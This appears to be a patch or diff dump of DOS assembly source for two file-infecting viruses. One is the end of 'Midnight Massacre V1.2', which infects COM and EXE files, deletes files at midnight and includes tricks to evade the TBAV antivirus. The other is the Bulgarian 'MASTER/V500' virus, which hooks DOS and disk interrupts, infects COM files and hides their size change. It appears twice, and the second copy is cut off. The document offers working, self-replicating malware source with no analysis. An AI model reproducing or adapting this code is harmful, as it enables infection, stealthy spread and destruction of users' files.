mov cx,compend-cptop ;size of branch code to replace
|
||||||
|
|
||||||
|
rep movsb ;replace branch code
|
||||||
|
|
||||||
|
ret ;jump back to top of code segment
|
||||||
|
return_exe:
|
||||||
|
mov ah,51h ;Get PSP adress
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
add bx,16 ;Compensate for PSP size
|
||||||
|
|
||||||
|
pop es
|
||||||
|
pop ds ;Restore original ES and DS from EXE
|
||||||
|
|
||||||
|
cli ;Clear interrupts for stack change
|
||||||
|
|
||||||
|
mov sp,cs:[bp+offset(old_sp)]
|
||||||
|
mov ax,cs:[bp+offset(old_ss)]
|
||||||
|
add ax,bx ;Find segment for SS
|
||||||
|
mov ss,ax ;Reset original EXE stack
|
||||||
|
|
||||||
|
sti
|
||||||
|
|
||||||
|
add cs:[bp+offset(old_cs)],bx ;Find segment for CS
|
||||||
|
|
||||||
|
jmp dword ptr cs:[bp+offset(old_ip)] ;Far jump to original EXE code
|
||||||
|
|
||||||
|
;----------------------------------------------------------------------------
|
||||||
|
|
||||||
|
i2Fvec: cmp ax,chkfunc ;check resident function?
|
||||||
|
je ret_reply ;if so, return a reply
|
||||||
|
|
||||||
|
jmp dword ptr cs:i2Fveco
|
||||||
|
ret_reply:
|
||||||
|
inc ax
|
||||||
|
iret ;return with reply
|
||||||
|
|
||||||
|
;----------------------------------------------------------------------------
|
||||||
|
|
||||||
|
move_pointer_beginning:
|
||||||
|
xor dx,dx
|
||||||
|
xor cx,cx
|
||||||
|
|
||||||
|
mov ax,4200h ;move file pointer to beginning of file
|
||||||
|
jmp short function ;execute DOS function call
|
||||||
|
|
||||||
|
move_pointer_end:
|
||||||
|
xor cx,cx
|
||||||
|
xor dx,dx ;move pointer 0 bytes
|
||||||
|
|
||||||
|
mov ax,4202h ;move pointer to end of file
|
||||||
|
;goes on to function procedure below
|
||||||
|
|
||||||
|
function:
|
||||||
|
pushf
|
||||||
|
call dword ptr cs:i21veco ;simulate int 21h call
|
||||||
|
ret
|
||||||
|
|
||||||
|
;Data -----------------------------------------------------------------------
|
||||||
|
|
||||||
|
message db '[MIDNIGHT MASSACRE] V1.2 by Crypt Keeper'
|
||||||
|
|
||||||
|
old_sp dw 0
|
||||||
|
old_ss dw 0FFF0h ;Old SS:SP
|
||||||
|
old_ip dw 0
|
||||||
|
old_cs dw 0FFF0h ;Old CS:IP
|
||||||
|
|
||||||
|
exeext db 'EXE'
|
||||||
|
comext db 'COM' ;Extensions to look for
|
||||||
|
|
||||||
|
comid db 0 ;set to 0 if .COM file by loader
|
||||||
|
|
||||||
|
cptop equ $ ;start of COM file branch program
|
||||||
|
comproc:
|
||||||
|
nop
|
||||||
|
db 0BBh ;MOV BX,
|
||||||
|
voffset dw 0 ;virus jump offset
|
||||||
|
push bx
|
||||||
|
ret
|
||||||
|
compend equ $ ;End of COM file branch program
|
||||||
|
|
||||||
|
saved db 0CDh,20h ;for proper return on gen #1 file
|
||||||
|
db (compend-cptop)-2 dup (0) ;saved .COM file bytes
|
||||||
|
|
||||||
|
;----------------------------------------------------------------------------
|
||||||
|
|
||||||
|
i21vec: nop
|
||||||
|
|
||||||
|
xchg ax,dx ;load into another register to fool
|
||||||
|
;TBAV's interception check flag
|
||||||
|
|
||||||
|
cmp dx,4B00h ;load and execute program?
|
||||||
|
je vtrigger
|
||||||
|
|
||||||
|
cmp dx,4B01h ;load program?
|
||||||
|
je vtrigger
|
||||||
|
|
||||||
|
cmp dh,3Dh ;open file with handle?
|
||||||
|
je vtrigger
|
||||||
|
|
||||||
|
cmp dx,4301h ;set file attributes?
|
||||||
|
je vtrigger
|
||||||
|
|
||||||
|
cmp dx,4300h ;get file attributes?
|
||||||
|
je vtrigger
|
||||||
|
|
||||||
|
xchg ax,dx
|
||||||
|
|
||||||
|
jmp dword ptr cs:i21veco
|
||||||
|
vtrigger:
|
||||||
|
xchg ax,dx
|
||||||
|
|
||||||
|
push es
|
||||||
|
push si
|
||||||
|
push di
|
||||||
|
push ax
|
||||||
|
push bx
|
||||||
|
push cx
|
||||||
|
push ds
|
||||||
|
push dx
|
||||||
|
|
||||||
|
mov ah,2Ch ;Get time
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
pop dx
|
||||||
|
push dx ;get old DX off stack
|
||||||
|
|
||||||
|
cmp cx,0 ;midnight?
|
||||||
|
jne no_massacre ;if not, skip the massacre
|
||||||
|
|
||||||
|
mov ah,41h ;delete file
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
jmp short exitvec ;exit from interrupt
|
||||||
|
|
||||||
|
no_massacre:
|
||||||
|
push ds
|
||||||
|
pop es
|
||||||
|
mov di,dx
|
||||||
|
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
|
||||||
|
cld ;clear direction flag
|
||||||
|
mov cx,128 ;maximum number of chars in a filename
|
||||||
|
mov al,'.' ;search for extension seperator
|
||||||
|
|
||||||
|
repne scasb ;find file extension
|
||||||
|
|
||||||
|
cmp cx,0 ;no extension found?
|
||||||
|
je exitvec
|
||||||
|
|
||||||
|
mov bx,di
|
||||||
|
|
||||||
|
upcase: cmp byte ptr es:[di],97
|
||||||
|
jb skip_change
|
||||||
|
cmp byte ptr es:[di],122
|
||||||
|
ja skip_change ;non-letters are not affected
|
||||||
|
and byte ptr es:[di],5Fh ;make character upper case
|
||||||
|
skip_change:
|
||||||
|
inc di
|
||||||
|
loop upcase
|
||||||
|
|
||||||
|
mov di,bx
|
||||||
|
|
||||||
|
mov si,offset(exeext) ;extension to compare to
|
||||||
|
mov cx,3 ;3 bytes to compare
|
||||||
|
|
||||||
|
repe cmpsb ;is the extension 'EXE'?
|
||||||
|
|
||||||
|
cmp cx,0 ;were they equal?
|
||||||
|
je infect_exe ;if so, infect the .EXE file
|
||||||
|
|
||||||
|
mov di,bx
|
||||||
|
|
||||||
|
mov si,offset(comext) ;extension to compare to
|
||||||
|
mov cx,3 ;3 bytes to compare
|
||||||
|
|
||||||
|
repe cmpsb ;is the extension 'COM'?
|
||||||
|
|
||||||
|
cmp cx,0 ;were they equal?
|
||||||
|
jne exitvec ;if not, terminate
|
||||||
|
|
||||||
|
sub bx,3
|
||||||
|
cmp word ptr es:[bx],'DN' ;end with 'ND'?
|
||||||
|
je exitvec
|
||||||
|
|
||||||
|
jmp infect_com ;infect the .COM file
|
||||||
|
exitvec:
|
||||||
|
pop dx
|
||||||
|
pop ds
|
||||||
|
pop cx
|
||||||
|
pop bx
|
||||||
|
pop ax
|
||||||
|
pop di
|
||||||
|
pop si
|
||||||
|
pop es
|
||||||
|
|
||||||
|
jmp dword ptr cs:i21veco ;execute rest of interrupt chain
|
||||||
|
|
||||||
|
infect_exe:
|
||||||
|
pop dx
|
||||||
|
push dx ;get adress of filename off stack
|
||||||
|
call prepare_infect ;prepare to infect
|
||||||
|
|
||||||
|
mov cx,28 ;size of EXE header + extra stuff
|
||||||
|
mov dx,offset(exeheader) ;EXE header data space
|
||||||
|
|
||||||
|
mov ah,3Fh ;read file or device
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ax,exesign
|
||||||
|
xor ax,0ABCDh ;kill TBAV's check exe/com flag
|
||||||
|
cmp ax,0E697h
|
||||||
|
je exe_ok
|
||||||
|
cmp ax,0F180h
|
||||||
|
je exe_ok ;if EXE ID field is ok, go ahead
|
||||||
|
|
||||||
|
jmp endinfection ;If not good EXE, end infection
|
||||||
|
|
||||||
|
exe_ok: cmp idword,virusid ;virus already infected?
|
||||||
|
jne not_infected ;if not, proceed
|
||||||
|
|
||||||
|
jmp endinfection
|
||||||
|
|
||||||
|
not_infected:
|
||||||
|
les si,dword ptr ds:initip ;get CS:IP from EXE header
|
||||||
|
mov old_cs,es
|
||||||
|
mov old_ip,si
|
||||||
|
|
||||||
|
les si,dword ptr ds:initss ;get SS:SP (reversed)
|
||||||
|
mov old_ss,si
|
||||||
|
mov old_sp,es
|
||||||
|
|
||||||
|
call move_pointer_end ;move file pointer to end of file
|
||||||
|
|
||||||
|
mov cx,10h
|
||||||
|
div cx ;convert to paragraphs
|
||||||
|
|
||||||
|
push ax
|
||||||
|
sub ax,headers ;subtract header size in paragraphs
|
||||||
|
|
||||||
|
pop cx
|
||||||
|
cmp ax,cx
|
||||||
|
ja endinfection ;If file too small, end infection
|
||||||
|
|
||||||
|
mov initcs,ax
|
||||||
|
mov initip,dx ;set initial CS:IP in exe header
|
||||||
|
sub dx,100h
|
||||||
|
mov delta,dx ;set delta offset in virus
|
||||||
|
|
||||||
|
mov initss,ax
|
||||||
|
mov idword,virusid ;set initial SS:SP in exe header
|
||||||
|
|
||||||
|
add minallc,vlres+1 ;add virus size to minimum memory
|
||||||
|
|
||||||
|
mov comid,0FFh ;set COM-ID field to nonzero (not COM)
|
||||||
|
|
||||||
|
mov cx,vlength ;number of bytes in virus
|
||||||
|
mov dx,100h
|
||||||
|
|
||||||
|
mov ah,40h ;write file or device
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
call move_pointer_end ;move file pointer to end of file
|
||||||
|
|
||||||
|
mov cx,512
|
||||||
|
div cx ;change bytes in new file to pages
|
||||||
|
cmp dx,0 ;no remainder?
|
||||||
|
je go_ahead_set
|
||||||
|
|
||||||
|
inc ax ;if remainder, add another page
|
||||||
|
|
||||||
|
go_ahead_set:
|
||||||
|
mov expages,ax
|
||||||
|
mov exbytes,dx ;set EXE file size
|
||||||
|
|
||||||
|
call move_pointer_beginning ;move pointer to beginning of file
|
||||||
|
|
||||||
|
mov cx,28 ;header size in bytes
|
||||||
|
mov dx,offset(exeheader) ;write exe header back out to file
|
||||||
|
|
||||||
|
mov ah,40h ;write file or device
|
||||||
|
call function
|
||||||
|
|
||||||
|
endinfection:
|
||||||
|
mov cx,oldtime
|
||||||
|
mov dx,olddate
|
||||||
|
|
||||||
|
mov ax,5701h ;set file date and time
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ah,3Eh ;close file with handle
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
pop dx
|
||||||
|
pop ds ;get old location of filename
|
||||||
|
|
||||||
|
mov cx,oldattr
|
||||||
|
mov ax,4301h ;set file attributes
|
||||||
|
call function
|
||||||
|
|
||||||
|
jmp exitvec ;return from interrupt
|
||||||
|
|
||||||
|
prepare_infect:
|
||||||
|
push es
|
||||||
|
pop ds
|
||||||
|
|
||||||
|
mov ax,4300h ;get file attributes
|
||||||
|
call function
|
||||||
|
|
||||||
|
jnc file_ok ;no carry means filename exists
|
||||||
|
|
||||||
|
jmp exitvec
|
||||||
|
|
||||||
|
file_ok:
|
||||||
|
pop ax ;preserve return vector
|
||||||
|
|
||||||
|
push ds
|
||||||
|
push dx
|
||||||
|
|
||||||
|
push ax ;put return vector on top of stack
|
||||||
|
|
||||||
|
mov cs:oldattr,cx ;save old file attributes
|
||||||
|
|
||||||
|
xor cx,cx ;set to normal attributes
|
||||||
|
|
||||||
|
mov ax,4301h ;set file attributes
|
||||||
|
call function
|
||||||
|
|
||||||
|
mov ax,3D02h ;open file for read/write access
|
||||||
|
call function
|
||||||
|
|
||||||
|
mov bx,ax ;file handle
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
|
||||||
|
mov ax,5700h ;get file date and time
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov oldtime,cx
|
||||||
|
mov olddate,dx ;save old time and date
|
||||||
|
ret
|
||||||
|
|
||||||
|
infect_com:
|
||||||
|
pop dx
|
||||||
|
push dx ;get adress of filename off stack
|
||||||
|
call prepare_infect ;open and prepare to infect
|
||||||
|
|
||||||
|
mov cx,compend-cptop ;size of .COM file branch code
|
||||||
|
mov dx,offset(saved) ;saved bytes buffer
|
||||||
|
|
||||||
|
mov ah,3Fh ;read file or device
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ax,word ptr comproc
|
||||||
|
cmp word ptr saved,ax ;is file already infected?
|
||||||
|
je endinfection
|
||||||
|
|
||||||
|
mov comid,0 ;zero .COM id field
|
||||||
|
call move_pointer_end ;move file pointer to EOF
|
||||||
|
|
||||||
|
mov delta,ax ;delta offset
|
||||||
|
add ax,100h
|
||||||
|
mov voffset,ax ;offset of virus code in .COM file
|
||||||
|
|
||||||
|
mov cx,vlength ;length of virus to write
|
||||||
|
mov dx,100h
|
||||||
|
|
||||||
|
mov ah,40h ;write file or device
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
call move_pointer_beginning ;move file pointer to start of file
|
||||||
|
|
||||||
|
mov cx,compend-cptop ;size of .COM file branch code
|
||||||
|
mov dx,offset(comproc) ;.COM file branch code to write
|
||||||
|
|
||||||
|
mov ah,40h ;write file or device
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
jmp endinfection ;we're done.
|
||||||
|
|
||||||
|
;----------------------------------------------------------------------------
|
||||||
|
|
||||||
|
vbot equ $ ;bottom of virus code
|
||||||
|
heap equ $ ;Beginning of heap
|
||||||
|
|
||||||
|
himem_o dw 0
|
||||||
|
himem_s dw 0 ;himem.sys entry point adress
|
||||||
|
|
||||||
|
i21veco dw 0
|
||||||
|
i21vecs dw 0 ;int 21h vector
|
||||||
|
|
||||||
|
exeheader:
|
||||||
|
exesign dw 0 ;EXE signature
|
||||||
|
exbytes dw 0 ;number of bytes in last page
|
||||||
|
expages dw 0 ;number of pages in file
|
||||||
|
reloci dw 0 ;number of items in relocation table
|
||||||
|
headers dw 0 ;size of header in paragraphs
|
||||||
|
minallc dw 0 ;minimum memory to be allocated
|
||||||
|
maxallc dw 0 ;maximum memory to be allocated
|
||||||
|
initss dw 0 ;initial SS value
|
||||||
|
idword dw 0 ;initial SP value (used as ID word)
|
||||||
|
chksum dw 0 ;complimented checksum
|
||||||
|
initip dw 0 ;initial IP value
|
||||||
|
initcs dw 0 ;initial CS value
|
||||||
|
reltabl dw 0 ;byte offset to relocation table
|
||||||
|
ovnum dw 0 ;overlay number
|
||||||
|
|
||||||
|
oldattr dw 0 ;old file attributes
|
||||||
|
|
||||||
|
oldtime dw 0
|
||||||
|
olddate dw 0 ;old saved time and date
|
||||||
|
|
||||||
|
i2Fveco dw 0
|
||||||
|
i2Fvecs dw 0 ;old INT 2Fh vectors
|
||||||
|
|
||||||
|
hbot equ $ ;bottom of heap
|
||||||
|
|
||||||
|
sspace db 64 dup ('+') ;virus stack
|
||||||
|
|
||||||
|
end massacre
|
||||||
@@ -0,0 +1,310 @@
|
|||||||
|
; (C) Copyright VirusSoft Corp. Sep., 1990
|
||||||
|
;
|
||||||
|
; This is the SOURCE file of last version of MASTER,(V500),(MG) ect.
|
||||||
|
; virus, distributed by VirusSoft company . First version was made
|
||||||
|
; in May., 1990 . Please don't make any corections in this file !
|
||||||
|
;
|
||||||
|
; Bulgaria, Varna
|
||||||
|
; Sep. 27, 1990
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
ofs = 201h
|
||||||
|
len = offset end-ofs
|
||||||
|
|
||||||
|
call $+6
|
||||||
|
|
||||||
|
org ofs
|
||||||
|
|
||||||
|
first: dw 020cdh
|
||||||
|
db 0
|
||||||
|
|
||||||
|
pop di
|
||||||
|
dec di
|
||||||
|
dec di
|
||||||
|
mov si,[di]
|
||||||
|
dec di
|
||||||
|
add si,di
|
||||||
|
push cs
|
||||||
|
push di
|
||||||
|
cld
|
||||||
|
movsw
|
||||||
|
movsb
|
||||||
|
xchg ax,dx
|
||||||
|
|
||||||
|
mov ax,4b04h
|
||||||
|
int 21h
|
||||||
|
jnc residnt
|
||||||
|
|
||||||
|
xor ax,ax
|
||||||
|
mov es,ax
|
||||||
|
mov di,ofs+3
|
||||||
|
mov cx,len-3
|
||||||
|
rep movsb
|
||||||
|
|
||||||
|
les di,[6]
|
||||||
|
mov al,0eah
|
||||||
|
dec cx
|
||||||
|
repne scasb
|
||||||
|
les di,es:[di] ; Searching for the INT21 vector
|
||||||
|
sub di,-1ah-7
|
||||||
|
|
||||||
|
db 0eah
|
||||||
|
dw offset jump,0 ; jmp far 0000:jump
|
||||||
|
|
||||||
|
jump: push es
|
||||||
|
pop ds
|
||||||
|
mov si,[di+3-7] ;
|
||||||
|
lodsb ;
|
||||||
|
cmp al,68h ; compare DOS Ver
|
||||||
|
mov [di+4-7],al ; Change CMP AH,CS:[????]
|
||||||
|
mov [di+2-7],0fc80h ;
|
||||||
|
mov [di-7],0fccdh ;
|
||||||
|
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
|
||||||
|
mov [1020],di ; int 0ffh
|
||||||
|
mov [1022],es
|
||||||
|
|
||||||
|
mov beg-1,byte ptr not3_3-beg
|
||||||
|
jb not3.3 ; CY = 0 --> DOS Ver > or = 3.30
|
||||||
|
mov beg-1,byte ptr 0
|
||||||
|
mov [7b4h],offset pr7b4
|
||||||
|
mov [7b6h],cs ; 7b4
|
||||||
|
|
||||||
|
not3.3: mov al,0a9h ; Change attrib
|
||||||
|
cont: repne scasb
|
||||||
|
cmp es:[di],0ffd8h
|
||||||
|
jne cont
|
||||||
|
mov al,18h
|
||||||
|
stosb
|
||||||
|
|
||||||
|
push ss
|
||||||
|
pop ds
|
||||||
|
|
||||||
|
push ss
|
||||||
|
pop es
|
||||||
|
|
||||||
|
residnt: xchg ax,dx
|
||||||
|
retf ; ret far
|
||||||
|
|
||||||
|
;--------Interrupt process--------;
|
||||||
|
|
||||||
|
i21pr: push ax
|
||||||
|
push dx
|
||||||
|
push ds
|
||||||
|
push cx
|
||||||
|
push bx
|
||||||
|
push es
|
||||||
|
|
||||||
|
if4b04: cmp ax,4b04h
|
||||||
|
je rti
|
||||||
|
|
||||||
|
xchg ax,cx
|
||||||
|
mov ah,02fh
|
||||||
|
int 0ffh
|
||||||
|
|
||||||
|
if11_12: cmp ch,11h
|
||||||
|
je yes
|
||||||
|
cmp ch,12h
|
||||||
|
jne inffn
|
||||||
|
yes: xchg ax,cx
|
||||||
|
int 0ffh
|
||||||
|
push ax
|
||||||
|
test es:byte ptr [bx+19],0c0h
|
||||||
|
jz normal
|
||||||
|
sub es:[bx+36],len
|
||||||
|
normal: pop ax
|
||||||
|
rti: pop es
|
||||||
|
pop bx
|
||||||
|
pop cx
|
||||||
|
add sp,12
|
||||||
|
iret
|
||||||
|
|
||||||
|
inffn: mov ah,19h
|
||||||
|
int 0ffh
|
||||||
|
push ax
|
||||||
|
|
||||||
|
if36: cmp ch,36h ; -free bytes
|
||||||
|
je beg_36
|
||||||
|
if4e: cmp ch,4eh ; -find first FM
|
||||||
|
je beg_4b
|
||||||
|
if4b: cmp ch,4bh ; -exec
|
||||||
|
je beg_4b
|
||||||
|
if47: cmp ch,47h ; -directory info
|
||||||
|
jne if5b
|
||||||
|
cmp al,2
|
||||||
|
jae begin ; it's hard-disk
|
||||||
|
if5b: cmp ch,5bh ; -create new
|
||||||
|
je beg_4b
|
||||||
|
if3c_3d: shr ch,1 ; > -open & create
|
||||||
|
cmp ch,1eh ; -
|
||||||
|
je beg_4b
|
||||||
|
|
||||||
|
jmp rest
|
||||||
|
|
||||||
|
beg_4b: mov ax,121ah
|
||||||
|
xchg dx,si
|
||||||
|
int 2fh
|
||||||
|
xchg ax,dx
|
||||||
|
xchg ax,si
|
||||||
|
|
||||||
|
beg_36: mov ah,0eh ; change current drive
|
||||||
|
dec dx ;
|
||||||
|
int 0ffh ;
|
||||||
|
|
||||||
|
begin:
|
||||||
|
push es ; save DTA address
|
||||||
|
push bx ;
|
||||||
|
sub sp,44
|
||||||
|
mov dx,sp ; change DTA
|
||||||
|
push sp
|
||||||
|
mov ah,1ah
|
||||||
|
push ss
|
||||||
|
pop ds
|
||||||
|
int 0ffh
|
||||||
|
mov bx,dx
|
||||||
|
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
|
||||||
|
mov ah,04eh
|
||||||
|
mov dx,offset file
|
||||||
|
mov cx,3 ; r/o , hidden
|
||||||
|
int 0ffh ; int 21h
|
||||||
|
jc lst
|
||||||
|
|
||||||
|
next: test ss:[bx+21],byte ptr 80h
|
||||||
|
jz true
|
||||||
|
nxt: mov ah,4fh ; find next
|
||||||
|
int 0ffh
|
||||||
|
jnc next
|
||||||
|
lst: jmp last
|
||||||
|
|
||||||
|
true: cmp ss:[bx+27],byte ptr 0fdh
|
||||||
|
ja nxt
|
||||||
|
mov [144],offset i24pr
|
||||||
|
mov [146],cs
|
||||||
|
|
||||||
|
les ax,[4ch] ; int 13h
|
||||||
|
mov i13adr,ax
|
||||||
|
mov i13adr+2,es
|
||||||
|
jmp short $
|
||||||
|
beg: mov [4ch],offset i13pr
|
||||||
|
mov [4eh],cs
|
||||||
|
|
||||||
|
|
||||||
|
not3_3: push ss
|
||||||
|
pop ds
|
||||||
|
push [bx+22] ; time +
|
||||||
|
push [bx+24] ; date +
|
||||||
|
push [bx+21] ; attrib +
|
||||||
|
lea dx,[bx+30] ; ds : dx = offset file name
|
||||||
|
mov ax,4301h ; Change attrib !!!
|
||||||
|
pop cx
|
||||||
|
and cx,0feh ; clear r/o and CH
|
||||||
|
or cl,0c0h ; set Infect. attr
|
||||||
|
int 0ffh
|
||||||
|
|
||||||
|
mov ax,03d02h ; open
|
||||||
|
int 0ffh ; int 21h
|
||||||
|
xchg ax,bx
|
||||||
|
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
|
||||||
|
mov ah,03fh
|
||||||
|
mov cx,3
|
||||||
|
mov dx,offset first
|
||||||
|
int 0ffh
|
||||||
|
|
||||||
|
mov ax,04202h ; move fp to EOF
|
||||||
|
xor dx,dx
|
||||||
|
mov cx,dx
|
||||||
|
int 0ffh
|
||||||
|
mov word ptr cal_ofs+1,ax
|
||||||
|
|
||||||
|
mov ah,040h
|
||||||
|
mov cx,len
|
||||||
|
mov dx,ofs
|
||||||
|
int 0ffh
|
||||||
|
jc not_inf
|
||||||
|
|
||||||
|
mov ax,04200h
|
||||||
|
xor dx,dx
|
||||||
|
mov cx,dx
|
||||||
|
int 0ffh
|
||||||
|
|
||||||
|
mov ah,040h
|
||||||
|
mov cx,3
|
||||||
|
mov dx,offset cal_ofs
|
||||||
|
int 0ffh
|
||||||
|
|
||||||
|
not_inf: mov ax,05701h
|
||||||
|
pop dx ; date
|
||||||
|
pop cx ; time
|
||||||
|
int 0ffh
|
||||||
|
|
||||||
|
mov ah,03eh ; close
|
||||||
|
int 0ffh
|
||||||
|
|
||||||
|
les ax,dword ptr i13adr
|
||||||
|
mov [4ch],ax ; int 13h
|
||||||
|
mov [4eh],es
|
||||||
|
|
||||||
|
last: add sp,46
|
||||||
|
pop dx
|
||||||
|
pop ds ; restore DTA
|
||||||
|
mov ah,1ah
|
||||||
|
int 0ffh
|
||||||
|
|
||||||
|
rest: pop dx ; restore current drive
|
||||||
|
mov ah,0eh ;
|
||||||
|
int 0ffh ;
|
||||||
|
|
||||||
|
pop es
|
||||||
|
pop bx
|
||||||
|
pop cx
|
||||||
|
pop ds
|
||||||
|
pop dx
|
||||||
|
pop ax
|
||||||
|
|
||||||
|
i21cl: iret ; Return from INT FC
|
||||||
|
|
||||||
|
i24pr: mov al,3 ; Critical errors
|
||||||
|
iret
|
||||||
|
|
||||||
|
i13pr: cmp ah,3
|
||||||
|
jne no
|
||||||
|
inc byte ptr cs:activ
|
||||||
|
dec ah
|
||||||
|
no: jmp dword ptr cs:i13adr
|
||||||
|
|
||||||
|
pr7b4: db 2eh,0d0h,2eh
|
||||||
|
dw offset activ
|
||||||
|
; shr cs:activ,1
|
||||||
|
jnc ex7b0
|
||||||
|
inc ah
|
||||||
|
ex7b0: jmp dword ptr cs:[7b0h]
|
||||||
|
|
||||||
|
;--------
|
||||||
|
|
||||||
|
file: db "*",32,".COM"
|
||||||
|
|
||||||
|
|
||||||
|
activ: db 0
|
||||||
|
|
||||||
|
dw offset i21pr ; int 0fch
|
||||||
|
dw 0
|
||||||
|
|
||||||
|
cal_ofs: db 0e8h
|
||||||
|
|
||||||
|
end:
|
||||||
|
dw ? ; cal_ofs
|
||||||
|
|
||||||
|
i13adr: dw ?
|
||||||
|
dw ?
|
||||||
|
|
||||||
|
|
||||||
|
; The End.---
|
||||||
@@ -0,0 +1,308 @@
|
|||||||
|
; (C) Copyright VirusSoft Corp. Sep., 1990
|
||||||
|
;
|
||||||
|
; This is the SOURCE file of last version of MASTER,(V500),(MG) ect.
|
||||||
|
; virus, distributed by VirusSoft company . First version was made
|
||||||
|
; in May., 1990 . Please don't make any corections in this file !
|
||||||
|
;
|
||||||
|
; Bulgaria, Varna
|
||||||
|
; Sep. 27, 1990
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
ofs = 201h
|
||||||
|
len = offset end-ofs
|
||||||
|
|
||||||
|
call $+6
|
||||||
|
|
||||||
|
org ofs
|
||||||
|
|
||||||
|
first: dw 020cdh
|
||||||
|
db 0
|
||||||
|
|
||||||
|
xchg ax,dx
|
||||||
|
pop di
|
||||||
|
dec di
|
||||||
|
dec di
|
||||||
|
mov si,[di]
|
||||||
|
dec di
|
||||||
|
add si,di
|
||||||
|
push cs
|
||||||
|
push di
|
||||||
|
cld
|
||||||
|
movsw
|
||||||
|
movsb
|
||||||
|
|
||||||
|
mov ax,4b04h
|
||||||
|
int 21h
|
||||||
|
jnc residnt
|
||||||
|
|
||||||
|
xor ax,ax
|
||||||
|
mov es,ax
|
||||||
|
mov di,ofs+3
|
||||||
|
mov cx,len-3
|
||||||
|
rep movsb
|
||||||
|
|
||||||
|
les di,[6]
|
||||||
|
mov al,0eah
|
||||||
|
dec cx
|
||||||
|
repne scasb
|
||||||
|
les di,es:[di] ; Searching for the INT21 vector
|
||||||
|
sub di,-1ah-7
|
||||||
|
|
||||||
|
db 0eah
|
||||||
|
dw offset jump,0 ; jmp far 0000:jump
|
||||||
|
|
||||||
|
jump: push es
|
||||||
|
pop ds
|
||||||
|
mov si,[di+3-7] ;
|
||||||
|
lodsb ;
|
||||||
|
cmp al,68h ; compare DOS Ver
|
||||||
|
mov [di+4-7],al ; Change CMP AH,CS:[????]
|
||||||
|
mov [di+2-7],0fc80h ;
|
||||||
|
mov [di-7],0fccdh ;
|
||||||
|
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
|
||||||
|
mov [1020],di ; int 0ffh
|
||||||
|
mov [1022],es
|
||||||
|
|
||||||
|
mov beg-1,byte ptr not3_3-beg
|
||||||
|
jb not3.3 ; CY = 0 --> DOS Ver > or = 3.30
|
||||||
|
mov beg-1,byte ptr 0
|
||||||
|
mov [7b4h],offset pr7b4
|
||||||
|
mov [7b6h],cs ; 7b4
|
||||||
|
|
||||||
|
not3.3: mov al,0a9h ; Change attrib
|
||||||
|
cont: repne scasb
|
||||||
|
cmp es:[di],0ffd8h
|
||||||
|
jne cont
|
||||||
|
mov al,18h
|
||||||
|
stosb
|
||||||
|
|
||||||
|
push ss
|
||||||
|
pop ds
|
||||||
|
|
||||||
|
push ss
|
||||||
|
pop es
|
||||||
|
|
||||||
|
residnt: xchg ax,dx
|
||||||
|
retf ; ret far
|
||||||
|
|
||||||
|
;--------Interrupt process--------;
|
||||||
|
|
||||||
|
i21pr: push ax
|
||||||
|
push dx
|
||||||
|
push ds
|
||||||
|
push cx
|
||||||
|
push bx
|
||||||
|
push es
|
||||||
|
|
||||||
|
if4b04: cmp ax,4b04h
|
||||||
|
je rti
|
||||||
|
|
||||||
|
xchg ax,cx
|
||||||
|
mov ah,02fh
|
||||||
|
int 0ffh
|
||||||
|
|
||||||
|
if11_12: cmp ch,11h
|
||||||
|
je yes
|
||||||
|
cmp ch,12h
|
||||||
|
jne inffn
|
||||||
|
yes: xchg ax,cx
|
||||||
|
int 0ffh
|
||||||
|
push ax
|
||||||
|
test es:byte ptr [bx+19],0c0h
|
||||||
|
jz normal
|
||||||
|
sub es:[bx+36],len
|
||||||
|
normal: pop ax
|
||||||
|
rti: pop es
|
||||||
|
pop bx
|
||||||
|
pop cx
|
||||||
|
add sp,12
|
||||||
|
iret
|
||||||
|
|
||||||
|
inffn: mov ah,19h
|
||||||
|
int 0ffh
|
||||||
|
push ax
|
||||||
|
|
||||||
|
if36: cmp ch,36h ; -free bytes
|
||||||
|
je beg_36
|
||||||
|
if4e: cmp ch,4eh ; -find first FM
|
||||||
|
je beg_4b
|
||||||
|
if4b: cmp ch,4bh ; -exec
|
||||||
|
je beg_4b
|
||||||
|
if47: cmp ch,47h ; -directory info
|
||||||
|
jne if5b
|
||||||
|
cmp al,2
|
||||||
|
jae begin ; it's hard-disk
|
||||||
|
if5b: cmp ch,5bh ; -create new
|
||||||
|
je beg_4b
|
||||||
|
if3c_3d: shr ch,1 ; > -open & create
|
||||||
|
cmp ch,1eh ; -
|
||||||
|
je beg_4b
|
||||||
|
|
||||||
|
jmp rest
|
||||||
|
|
||||||
|
beg_4b: mov ax,121ah
|
||||||
|
xchg dx,si
|
||||||
|
int 2fh
|
||||||
|
xchg ax,dx
|
||||||
|
xchg ax,si
|
||||||
|
|
||||||
|
beg_36: mov ah,0eh ; change current drive
|
||||||
|
dec dx ;
|
||||||
|
int 0ffh ;
|
||||||
|
|
||||||
|
begin:
|
||||||
|
push es ; save DTA address
|
||||||
|
push bx ;
|
||||||
|
sub sp,44
|
||||||
|
mov dx,sp ; change DTA
|
||||||
|
push sp
|
||||||
|
mov ah,1ah
|
||||||
|
push ss
|
||||||
|
pop ds
|
||||||
|
int 0ffh
|
||||||
|
mov bx,dx
|
||||||
|
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
|
||||||
|
mov ah,04eh
|
||||||
|
mov dx,offset file
|
||||||
|
mov cx,3 ; r/o , hidden
|
||||||
|
int 0ffh ; int 21h
|
||||||
|
jc lst
|
||||||
|
|
||||||
|
next: test ss:[bx+21],byte ptr 80h
|
||||||
|
jz true
|
||||||
|
